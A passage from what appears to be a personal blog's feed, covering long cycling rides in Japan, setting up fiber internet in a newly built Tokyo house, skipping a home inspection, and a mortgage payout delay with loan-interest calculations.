  &lt;li&gt;50,000 yen or so on clothes (padded pants, padded gloves, clip-in shoes) and accessories (lights, bell, pump, bike bags, &lt;a href=&quot;https://www.montbell.com/us/en/products/detail/1130425&quot;&gt;a rinko bag to take it on trains&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;first-long-ride-tokyo-to-nikko&quot;&gt;First long ride: Tokyo to Nikko&lt;/h2&gt;

&lt;p&gt;My first long ride was to the historic city of &lt;a href=&quot;https://en.wikipedia.org/wiki/Nikk%C5%8D&quot;&gt;Nikko&lt;/a&gt;. It was a 156 km long ride and took me seven and a half hours of moving time (with 10 hours from start to finish).&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;3770120904&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;I really enjoyed the ride, and stayed for a few days in Nikko before heading back to Tokyo. The nearby Lake Chuzenji remains one of my favorite places of Japan.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-14-cycling-all-around-japan/chuzenjiko.jpg#lb&quot; alt=&quot;Lake Chuzenji, straight out of a painting&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;longest-ride-biwaichi&quot;&gt;Longest ride: Biwaichi&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Lake_Biwa&quot;&gt;Lake Biwa&lt;/a&gt; is Japan’s biggest lake, and it has a well marked bicycle road around it. This is called &lt;a href=&quot;https://en.biwako1.jp/&quot;&gt;Biwaichi&lt;/a&gt; and the local tourism organizations work hard to advertise it (&lt;a href=&quot;https://en.biwako1.jp/&quot;&gt;the official website even has an English version&lt;/a&gt;). There is a bridge across the lake on the South third of the lake, so &lt;a href=&quot;https://en.biwako1.jp/basic/route/&quot;&gt;one can do the North part only (150 km) or the full circle (200 km)&lt;/a&gt;. I did the full circle, and as I was staying in Kyoto, I had an extra 20 km to get to the lake and back.&lt;/p&gt;

&lt;p&gt;A ride of this length takes a lot of time, so I started shortly before 6am on an April morning. After 10 hour of riding, I arrived back at 7pm.&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;5217007081&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;The ride was really fun: great roads, mostly flat (since it follows the lake), beautiful scenery. But it also showed me that riding for 10 hours is very tiring and it also gets boring. There is only so many podcasts one can listen to in a day.&lt;/p&gt;

&lt;h2 id=&quot;longest-multi-day-ride-tokyo-to-kyoto-in-4-days&quot;&gt;Longest multi-day ride: Tokyo to Kyoto in 4 days&lt;/h2&gt;

&lt;p&gt;I had a 5 day weekend, and wanted to go to Kyoto, so decided to go by bike. The Kyoto-Tokyo road was important historically, and &lt;a href=&quot;https://en.wikipedia.org/wiki/Edo_Five_Routes&quot;&gt;there were multiple routes&lt;/a&gt;. One of them, Tokaido, follows the ocean. (This is also where the Tokaido Shinkansen goes, hence its name.) I decided to follow this route myself as well.&lt;/p&gt;

&lt;p&gt;The distance is around 500 km, so I was planning to do it in 5 days, 100 km per day. But to keep a bit of flexibility for later days, I started with a bit more than 100. This was still during COVID, and Japan didn’t allow foreign tourists, so most hotels were empty. This let me decide in the morning how far I will go, and book the hotel for the next night.&lt;/p&gt;

&lt;p&gt;First day I went from Tokyo to Numazu, covering 128 km. For the most part the route follows the ocean, however here I had to cross the Izu peninsula (the shinkansen has a tunnel for this). So I had to climb up to Hakone. This meant an elevation of over 1,400m during the day with a 834m long climb to Hakone. This was pretty rough. But at least I could take a photo of my bike in Hakone with the snow-covered Mt.Fuji in the background:&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;4768885123&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;Second day was spent following the ocean from Numazu to Hamamatsu. 136km, riding from 7:30 to 5pm. I could even do a bit of a sightseeing in Hamamatsu (they have a castle).&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;4773900007&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;Third day was from Hamamatsu to North of Nagoya, 129 km, nice views, fun ride. Leaving the ocean behind, but still mostly flat.&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;4778769058&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;Since I was doing more than 100 km each day, by the fourth day I had about 140 km left. My original plan was to take it easy and split it into two days, but the weather forecast was becoming rainy for the 5ht day, so I decided to push through and went all the way to Kyoto on the last day, covering the reamining 140 km.&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;4784019905&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;p&gt;Overall this was the breakdown of the trip:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Distance&lt;/th&gt;
      &lt;th&gt;Elevation&lt;/th&gt;
      &lt;th&gt;Moving time&lt;/th&gt;
      &lt;th&gt;Elapsed time&lt;/th&gt;
      &lt;th&gt;Average speed&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Day 1&lt;/td&gt;
      &lt;td&gt;127.93 km&lt;/td&gt;
      &lt;td&gt;1432 m&lt;/td&gt;
      &lt;td&gt;6:48:53&lt;/td&gt;
      &lt;td&gt;8:43:31&lt;/td&gt;
      &lt;td&gt;18.8 km/h&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Day 2&lt;/td&gt;
      &lt;td&gt;135.96 km&lt;/td&gt;
      &lt;td&gt;597 m&lt;/td&gt;
      &lt;td&gt;7:24:09&lt;/td&gt;
      &lt;td&gt;9:13:28&lt;/td&gt;
      &lt;td&gt;18.4 km/h&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Day 3&lt;/td&gt;
      &lt;td&gt;128.84 km&lt;/td&gt;
      &lt;td&gt;625 m&lt;/td&gt;
      &lt;td&gt;7:12:24&lt;/td&gt;
      &lt;td&gt;9:33:12&lt;/td&gt;
      &lt;td&gt;17.9 km/h&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Day 4&lt;/td&gt;
      &lt;td&gt;137.74 km&lt;/td&gt;
      &lt;td&gt;552 m&lt;/td&gt;
      &lt;td&gt;7:10:00&lt;/td&gt;
      &lt;td&gt;9:50:05&lt;/td&gt;
      &lt;td&gt;19.2 km/h&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Overall&lt;/td&gt;
      &lt;td&gt;530.47 km&lt;/td&gt;
      &lt;td&gt;3206 m&lt;/td&gt;
      &lt;td&gt;4:35:26&lt;/td&gt;
      &lt;td&gt;13:20:16&lt;/td&gt;
      &lt;td&gt;18.6 km/h&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;It was a challenge, and I really enjoyed it. Although on the way back from Kyoto, I opted for the shinkansen. It was fun to do it once, but not sure if I would have enjoyed it if I had to do it again.&lt;/p&gt;

&lt;h2 id=&quot;craziest-ride-6-prefectures-limited-frappuchino&quot;&gt;Craziest ride: 6 prefectures’ limited frappuchino&lt;/h2&gt;

&lt;p&gt;Starbucks frappuchinos in Japan are different from other countries’: they don’t usual contain coffee, but instead refer to a cold, sugary drink with special flavours, mostly in time-limited releases.&lt;/p&gt;

&lt;p&gt;In 2021, Starbucks Japan was celebrating their 25th anniversary, so they created a special drink for all 47 prefectures of the country, and each was only be available in their respective prefectures. You can see each flavors on the official site: &lt;a href=&quot;https://stories.starbucks.com/asia/stories/2021/explore-japan-with-47-local-beverages/&quot;&gt;47 JIMOTO Frappuchino&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This gave me a challenge: how many prefectures can I reach on bike in a single day to taste their special frappuchino? I designed a route that touched on 6 prefectures:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Starting in Tokyo with my morning coffee of an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Origin Coffee Jelly Caramel Frappuccino® Blended Coffee&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Riding over to Ibaraki for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Melon Igappe Creamy Frappuccino® Blended Cream&lt;/code&gt; (Ibaraki grows a lot of melons)&lt;/li&gt;
  &lt;li&gt;Going North in Chiba and picking up a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Nagomi Mitarashi Coffee Frappuccino® Blended Cream&lt;/code&gt; (that had some sweet soy sauce in it)&lt;/li&gt;
  &lt;li&gt;Touching the corner of Saitama for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tasaitama Strawberry &amp;amp; Citrus Frappuccino® Blended Juice Drink&lt;/code&gt; (this wasn’t even milk-based)&lt;/li&gt;
  &lt;li&gt;Reaching Gunma for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Danbe Yogurt Mango Frappuccino® Blended Cream&lt;/code&gt; (a fancy mango yoghurt)&lt;/li&gt;
  &lt;li&gt;Finishing the day with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Raisama Pachipachi Chocolate Frappuccino® Blended Cream&lt;/code&gt; in Tochigi, before catching the train back to Tokyo&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall it still took 180 km and a full day to cover all of this. But the hardest part wasn’t the distance, or the navigation, but the fact that I drunk most of the drinks. Each of them being up to 500 kcalories of pure sugar messed with my body in a way no other bike ride did. So this ride goes to the list of things that was fun once, but I won’t do it again.&lt;/p&gt;

&lt;div class=&quot;strava-embed-placeholder&quot; data-embed-type=&quot;activity&quot; data-embed-id=&quot;5603589307&quot; data-style=&quot;standard&quot;&gt;&lt;/div&gt;

&lt;h2 id=&quot;selling-the-bike&quot;&gt;Selling the bike&lt;/h2&gt;

&lt;p&gt;Cycling became one of my main hobbies during the pandemic, and it continued afterwards. But cycling for me is mainly a sport to do alone: I like to push my limits, and that’s rarely possible in a group setting. Then after I met my now-wife, I had less empty weekends to fill with long rides, and after we had our baby, I stopped going for long rides almost entirely. Using the road bike for daily errands is also simply impractical: no basket, no kickstand, no mudguard, needs special shoes.&lt;/p&gt;

&lt;p&gt;So after about 2 years of not using the bike at all, I felt bad that the bike was just collecting rust here, when it was made to go fast. My life changed for the better, and I enjoy spending my weekends with my family, so cycling long distances again is something that will need to wait a few years. (I’m hoping to go for cycling trips once my kids are old enough.)&lt;/p&gt;

&lt;p&gt;So I decided to sell my road bike. I asked an online store, &lt;a href=&quot;https://biciamore.jp/&quot;&gt;Bici Amore&lt;/a&gt; for an estimate, and they said 30,000 to 45,000 yen, depending on the condition. My wife posted it to &lt;a href=&quot;https://jmty.jp/&quot;&gt;Jimoty&lt;/a&gt; and someone bought it for 50,000 yen.&lt;/p&gt;

&lt;p&gt;As I was riding it to the handover location, I remembered all the great rides I had, and I was happy to have had all these adventures.&lt;/p&gt;

&lt;script src=&quot;https://strava-embeds.com/embed.js&quot;&gt;&lt;/script&gt;

</content>
 </entry>
 
 <entry>
   <title>Internet for our new house</title>
   <link href="https://szabo.jp/2025/11/13/internet/"/>
   <updated>2025-11-13T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/13/internet</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;just built our house in Tokyo&lt;/a&gt;. In this post I will cover how we got internet.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;choosing-the-company&quot;&gt;Choosing the company&lt;/h2&gt;

&lt;p&gt;I usually do a proper comparison, but for internet we had good experience with &lt;a href=&quot;https://www.nuro.jp/&quot;&gt;Sony Nuro&lt;/a&gt; in the past, so we decided to go with them. Most internet providers use the infrastructure of Docomo, but Nuro brings their own fiber optics to the homes, so it is usually faster and cheaper.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;Nuro told us that for detached houses you can apply from 2 months before the desired construction date. The construction can only happen after the house is completed and the handover is done, so we had to wait for that to be decided.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;September 26: Ichijo finalized the date of the handover (about a month before the handover)&lt;/li&gt;
  &lt;li&gt;October 9: we signed up for Nuro online&lt;/li&gt;
  &lt;li&gt;October 11: Nuro confirmed our application, and asked us to reserve the date of the construction. The earliest date was one months from then (November 10). We chose November 10 afternoon.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;About 2 weeks before the construction we received the ONU decide by mail to our old address (we asked them to send it there instead of the new address). We had to bring this on the day of the construction with us.&lt;/p&gt;

&lt;h3 id=&quot;construction&quot;&gt;Construction&lt;/h3&gt;

&lt;p&gt;Nuro’s afternoon time-slot was 13:00-17:00, so I was waiting for them from 1pm. They arrived at 3:30pm with a boom lift truck. They used the truck to pull the fiber optic from a nearby pole to the corner of our house, where Ichijo has prepared the intake for it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-13-internet/boom-lift-truck.png#lb&quot; alt=&quot;The boom lift truck they used for pulling the fiber optics into our house (made with ChatGPT)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then they pulled through the conduit to the information box, and connected the &lt;a href=&quot;https://www.nuro.jp/article/sony-onuspec/&quot;&gt;Sony ONU&lt;/a&gt; device (ONU = Optical Network Unit, and this device includes a router with Wifi as well). I asked if we should test the WiFi, and the guy told me that he can’t help with that; his job is to bring the optics inside, and connect it to the ONU. Once the ONU’s LINE light turns green, his job is done.&lt;/p&gt;

&lt;p&gt;The construction finished at 4:45pm, so overall took a little bit less than 2 hours.&lt;/p&gt;

&lt;p&gt;I tested the internet and even on ONU’s built-in WiFi I got 710 Mbps download, 650 Mbps upload speed. We signed up for the 10 Gbps plan (but that’s of course the maximum speed it might do), but the speed is still very good, especially for WiFi.&lt;/p&gt;

&lt;p&gt;I’ve heard from two friends (one for a house, one for a mansion) that Nuro sometimes comes with not enough equipment to actually do the construction on the first time, and they need to come back a second time to complete it. It seems like we got lucky that they bought the correct size truck that could do it all on the first try.&lt;/p&gt;

&lt;h2 id=&quot;friend-referral&quot;&gt;Friend referral&lt;/h2&gt;

&lt;p&gt;Nuro has a &lt;a href=&quot;https://www.nuro.jp/hikari/friend_coupon/&quot;&gt;friend referral coupon (お友達紹介クーポン)&lt;/a&gt; that gives discount to both you and me, so here is my referral code: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MAA4604&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;[edit]: I wrote about my home network setup in a &lt;a href=&quot;/2025/11/15/home-network/&quot;&gt;separate post&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Home inspection and why we decided to skip it for our home</title>
   <link href="https://szabo.jp/2025/11/03/home-inspection/"/>
   <updated>2025-11-03T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/03/home-inspection</id>
   <content type="html">&lt;p&gt;Building a home is often the biggest purchase of one’s life. But most people are not experts in home construction, so to avoid being cheated by the builder, some people hire a 3rd party company to inspect the house to ensure no corners were cut during the construction.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/markszabo/markszabo.github.io/issues/63#issuecomment-3136100961&quot;&gt;One of my readers recommended&lt;/a&gt; the home inspection company &lt;a href=&quot;https://www.sakurajimusyo.com/&quot;&gt;さくら事務所&lt;/a&gt;, so I checked their website, and will use their site in this post. But other companies should be similar.&lt;/p&gt;

&lt;h2 id=&quot;types-of-inspection&quot;&gt;Types of inspection&lt;/h2&gt;

&lt;p&gt;There are two main types of home inspection for new houses:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;continuous inspection as the house is being built (&lt;a href=&quot;https://www.sakurajimusyo.com/expert/koji-check.php&quot;&gt;新築工事中ホームインスペクション（第三者検査）&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;completion inspection (&lt;a href=&quot;https://www.sakurajimusyo.com/expert/nairan-h.php&quot;&gt;新築一戸建てホームインスペクション（完成検査・内覧会立会い）&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The former involves the inspection company visiting the construction site multiple times during the construction, and checking as the house is being built. This lets them see issues that would be hidden later (e.g. problems with the metal nets in the reinforced concrete of the foundation, or gaps in the insulation). However it needs multiple visits, so it is expensive: &lt;a href=&quot;https://www.sakurajimusyo.com/expert/koji-check.php&quot;&gt;さくら事務所  charges&lt;/a&gt; between 368,500 yen and 852,500 yen (tax included).&lt;/p&gt;

&lt;p&gt;But there is an inherent issue: during the construction the construction company manages the site, and they decide who and when can enter (even the owner can not enter unless the construction company allows). So this type of inspection needs the construction company’s collaboration, and while they likely won’t reject the idea of the inspection (as that would be very suspicious), they might reject certain inspection companies that they deem hard to work with.&lt;/p&gt;

&lt;p&gt;This presents a conflict of interest for the inspection company: if they are too strict with their inspection, then the building company might refuse to work with them next time (and most people will just go with a different inspection company instead of switching the builder). This is especially an issue when the builder is a big  company (and &lt;a href=&quot;https://www.ichijo.co.jp/topics/gwr2021/english/#:~:text=selling%20the%20highest%20number%20of%20custom%20single%2Dfamily%20homes%20in%20a%20year.&quot;&gt;Ichijo builds the most custom single-family homes in the entire world&lt;/a&gt;), as no inspection company wants to get blacklisted by them.&lt;/p&gt;

&lt;p&gt;Then there is another issue: especially big companies (like Ichijo) use a lot of custom and proprietary technology where they don’t want to share the details with a 3rd party company, making the inspections less useful. Meanwhile because it is a big company, they have internal rules and quality control, so the likelihood of the carpenter being hangover and messing up the insulation is much less than with a smaller company.&lt;/p&gt;

&lt;p&gt;The completion inspection is done only when the house is done, and it is much cheaper: &lt;a href=&quot;https://www.sakurajimusyo.com/expert/nairan-h.php&quot;&gt;さくら事務所 charges&lt;/a&gt; between 110,000 yen to 154,000 yen for it - tax included. However since the house is already done, most of the potential major issues (foundation, insulation, structure) are already hidden, so the findings could end up being mostly cosmetic (e.g. the carpenters scratched the wallpaper).&lt;/p&gt;

&lt;h2 id=&quot;ichijos-warranty&quot;&gt;Ichijo’s warranty&lt;/h2&gt;

&lt;p&gt;While it is clearly better to find issues before moving in, if they come up later and the builder fixes them for free, then that is not so bad. By law &lt;a href=&quot;https://www.kashihoken.or.jp/individuals/shinchiku/&quot;&gt;all builders have to offer a 10 year warranty for the structure and rain protection (e.g. roof, entrance door)&lt;/a&gt;. They also have to take out insurance so that even if the builder goes bankrupt, the repairs are still taken care of.&lt;/p&gt;

&lt;p&gt;Meanwhile &lt;a href=&quot;https://www.ichijo.co.jp/aftersupport/#:~:text=%E3%81%AE%E9%A1%98%E3%81%84%E3%81%A7%E3%81%99%E3%80%82-,30%E5%B9%B4%E4%BF%9D%E8%A8%BC%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6,-%E3%80%90%E9%95%B7%E6%9C%9F%E4%BF%9D%E8%A8%BC%E3%83%BB%E4%BF%9D%E8%A8%BC&quot;&gt;Ichijo claims to offer a 30 year warranty&lt;/a&gt; so we checked the details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-11-03-home-inspection/ichijo-warranty.png#lb&quot; alt=&quot;Ichijo&apos;s warranty schedule from https://www.ichijo.co.jp/aftersupport&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The 30 year warranty covers the main structure&lt;/li&gt;
  &lt;li&gt;The roof, exterior walls, and other parts that protect from rain have a 15 year warranty that can be extended to 30 years if you perform the recommended paid work at the 15 year mark&lt;/li&gt;
  &lt;li&gt;Pluming, the water heater, and the light switches have a 5 year warranty&lt;/li&gt;
  &lt;li&gt;The entrance door and the wallpaper have a 2 year warranty&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Moreover they do the following inspections and repairs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;at 10 year: free inspection, free termite prevention work, and free repair work for waterproofing if Ichijo determine that maintenance work is necessary&lt;/li&gt;
  &lt;li&gt;at 15 year: free inspection and paid repair work if Ichijo determines that waterproofing maintenance work is necessary. If it is taken (and paid for by us) or if no work is required, then the warranty gets extended to 30 years&lt;/li&gt;
  &lt;li&gt;at 20 year: free inspection, and free termite prevention work&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;our-decision&quot;&gt;Our decision&lt;/h2&gt;

&lt;p&gt;We decided to skip the home inspection. We were already late for the full inspection (during the construction), and I wasn’t comfortable with the conflict of interest issue there. For the final inspection it came down to this: what is the chance that there is some issue that is big enough that fixing it costs more than 100,000 yen (since that’s the price of the inspection), but not big enough for us to find it, or to be covered under the warranty? And if such issue exists, what is the chance that the inspector can find it after the entire house is completed?&lt;/p&gt;

&lt;p&gt;We might regret this decision later, but this was our thinking.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Delay in the mortgage for our house</title>
   <link href="https://szabo.jp/2025/11/02/delay-in-the-mortgage/"/>
   <updated>2025-11-02T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/11/02/delay-in-the-mortgage</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;bought land in Tokyo last year&lt;/a&gt; and &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;just finished building our house&lt;/a&gt;. We are financing both the land and the house with a mortgage, and just run into some delays with the mortgage. This won’t affect much, but it makes the interest on the &lt;a href=&quot;/2025/10/05/bridge-loan/&quot;&gt;bridge loan&lt;/a&gt; about 50,000 yen higher, and makes the mortgage of the house start later.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;the-bank&quot;&gt;The bank&lt;/h2&gt;

&lt;p&gt;I covered &lt;a href=&quot;/2025/04/13/buying-a-land/#looking-for-a-bank&quot;&gt;how we chose our bank in the post about buying the land&lt;/a&gt;, and we had to go with the same bank for the house portion of the mortgage too. Technically the land and house portions are two separate loans with different start and end date, and potentially different options (e.g. variable vs fixed rate, or the included life insurance options). We kept both of them the same.&lt;/p&gt;

&lt;h2 id=&quot;the-amount&quot;&gt;The amount&lt;/h2&gt;

&lt;p&gt;When buying the land &lt;a href=&quot;/2025/04/13/buying-a-land/#closing-on-the-land&quot;&gt;we paid appr. 7% extra&lt;/a&gt; on top of the price of the land for the various fees, and we included that in the mortgage. (This is very common in Japan, and while it means that you start under-water on your mortgage, since the bank can come after your other assets if you default, many banks allow it.)&lt;/p&gt;

&lt;p&gt;For the house portion of the loan we also had extra costs we wanted to include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;35.6 million yen for &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;the house, paid to Ichijo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;1.2 million yen for water connection works (our land used to be big and got split into two, and our half ended up without a connection to the water system)&lt;/li&gt;
  &lt;li&gt;2.66 million yen for the outside construction work (this is done by a company different from Ichijo and I will write about it separately)&lt;/li&gt;
  &lt;li&gt;913,000 yen for the mortgage fee (same 2.2% as with the land mortgage)&lt;/li&gt;
  &lt;li&gt;300,000 yen for registration and taxes (Ichijo’s initial estimate)&lt;/li&gt;
  &lt;li&gt;150,000 yen for bridge loan interest (Ichijo’s initial estimate)&lt;/li&gt;
  &lt;li&gt;195,950 yen for home insurance  (Ichijo’s initial estimate, we &lt;a href=&quot;/2025/10/22/home-insurance/, so close enough&quot;&gt;ended up paying 175,633 yen&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(I will post a proper breakdown on all the costs once everything is finalized.) This meant that other than the 35.6 million yen for the house, we had 5.4 million yen extra costs that we wanted to include in the loan.&lt;/p&gt;

&lt;p&gt;During the loan pre-approval we made sure to apply for an amount that can include these. However this resulted in some surprise changes which also led to a delay in the mortgage payout for our house.&lt;/p&gt;

&lt;h2 id=&quot;types-of-loans&quot;&gt;Types of loans&lt;/h2&gt;

&lt;p&gt;In &lt;a href=&quot;/2025/10/05/bridge-loan/#the-bank&quot;&gt;my post on bridge loan&lt;/a&gt; I touched on this briefly (as back then I thought it was a minor thing and won’t lead to a delay), but we ended up changing the mortgage type halfway through the construction.&lt;/p&gt;

&lt;h3 id=&quot;ichijo-partnership-mortgage&quot;&gt;Ichijo-partnership mortgage&lt;/h3&gt;

&lt;p&gt;Since our bank (SMTB) and Ichijo has a partnership, initially we got the Ichijo-partnership mortgage (一条工務店との提携ローン) for the house. The only difference is the payout schedule: Ichijo wants to get paid 1/3rd in the beginning, 1/3rd in the middle, 1/3rd at the end of the construction. This partnership loan would have our bank pay 2/3rd at the middle, and 1/3rd at the end, limiting the bridge loan to 1/3rd of the amount during the first half of the construction.&lt;/p&gt;

&lt;p&gt;For our case (house price at 35.6 million, bridge loan interest at 2.025%) this would have meant a bridge loan interest payment of about 50,000 yen.&lt;/p&gt;

&lt;p&gt;However this type of mortgage came with a condition: the overall amount can only be up to 110% of the price of the house, so only an extra 3.56 million yen for extra costs. This would have left us with 1.8 million yen to be paid out of pocket. We could have done this, but having this included in the mortgage at less than 1% interest rate means we can invest it and make more than that. So we asked to have it included. Which made us switch to the normal mortgage&lt;/p&gt;

&lt;h3 id=&quot;normal-mortgage&quot;&gt;Normal mortgage&lt;/h3&gt;

&lt;p&gt;This only pays out once the house is finished and registered at the Legal Affairs Bureau (法務局) on the the real estate registry (不動産登記簿上). We were initially told that this registration will be fast (few days) but due to the Legal Affairs Bureau currently being very busy, it will take them more than 3 weeks, which delays the mortgage finalization (and payout date) as well. The bank’s explanation is that they can only give us money once they confirmed the collateral, which is when the house is recorded in the real estate registry. With the Ichijo-partnership mortgage, Ichijo acts as guarantor that the house is indeed there, but the normal mortgage needs the official registration to finish before they can use it as collateral.&lt;/p&gt;

&lt;p&gt;On the bright side, this means that we could push back the signing of the mortgage contract to be &lt;a href=&quot;/2025/10/24/when-to-register-the-new-address/&quot;&gt;after our official move-in date&lt;/a&gt;, which means the bank will handle registering our new address in the real estate registry, and we won’t have to deal with that later.&lt;/p&gt;

&lt;p&gt;Ichijo used the bridge loan to get their final payment, so the house handover could proceed. So the only downside of this delay is that the bridge loan will be paid back a month later resulting in additional interest to be paid.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;Looking back now, maybe going with the Ichijo loan would have been better. However we didn’t know about all the delays at that time. This is how the timeline of the events looked like:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;In July we got the question whether to change from the Ichijo-partnership to the normal loan. The Ichijo-partnership loan would have had a bridge loan interest of 50,000 yen.&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;The delivery date was estimated to be early October. So with the normal mortgage (assuming a fast registration at the Legal Affairs Bureau), the bridge loan interest was expected to be 160,000 yen. We decided to go with this.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The construction had some delays (related to Tepco) so the completion got pushed back to end of October. This pushed the bridge loan interest to 190,000 yen (still assuming fast registration).&lt;/li&gt;
  &lt;li&gt;Then the mortgage delay caused by the Legal Affairs Bureau is pushing the bridge loan repayment back to end of November making the overall interest to 240,000 yen (bigger jump since Ichijo charged the last 1/3rd of the price to the bridge loan).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;in-the-end-was-this-a-right-decision&quot;&gt;In the end was this a right decision?&lt;/h2&gt;

&lt;p&gt;From the timeline it’s clear that things changed as we went along, and the available information at the time of making the decision to switch from the Ichijo-partnership to the normal mortgage were different. But overall, was this still the right decision?&lt;/p&gt;

&lt;p&gt;On the surface we are spending an extra 190,000 yen in bridge loan interest just to have an extra 1.8 million yen loan. However the Ichijo-partnership mortgage would have started earlier and would have incurred its own interest (0.72%). Assuming the bank would have let us delay the principal payments until the house was done, this would have meant an additional interest of about 70,000 yen (paid on the mortgage). So now the current setup is only 120,000 yen worse than the alternative.&lt;/p&gt;

&lt;p&gt;But does the 1.8 million yen loan worth the 120,000 yen upfront cost?&lt;/p&gt;

&lt;p&gt;At the current, 0.72% interest the 1.8 million yen will correspond to a monthly payment of 4,850 yen (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=PMT(0.0072/12,35*12,-1800000)&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;With the normal loan: I get 1.8 million yen today, but need to pay 120,000 yen for the bridge loan interest. So I have 1.58 million left to invest. At 5% nominal rate of return (conservative) that will become 8.7 million yen in 35 years (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=1580000*1.05^35&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Meanwhile staying with Ichijo-partnership loan would mean a monthly payment that is 4,850 yen less. If I invest this money each month (with 5% average return) this will become 5.5 million yen in 35 years (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=FV(0.05/12, 35*12, -4850, 0, 0)&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;So switching to normal mortgage is better. But what if the interest rate on the loan rises? The BOJ has been talking about raising rates all year long. Let’s see how the final outcome changes with different interest rates:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Average interest rate*&lt;/th&gt;
      &lt;th&gt;Monthly payment on the 1.8 million yen&lt;/th&gt;
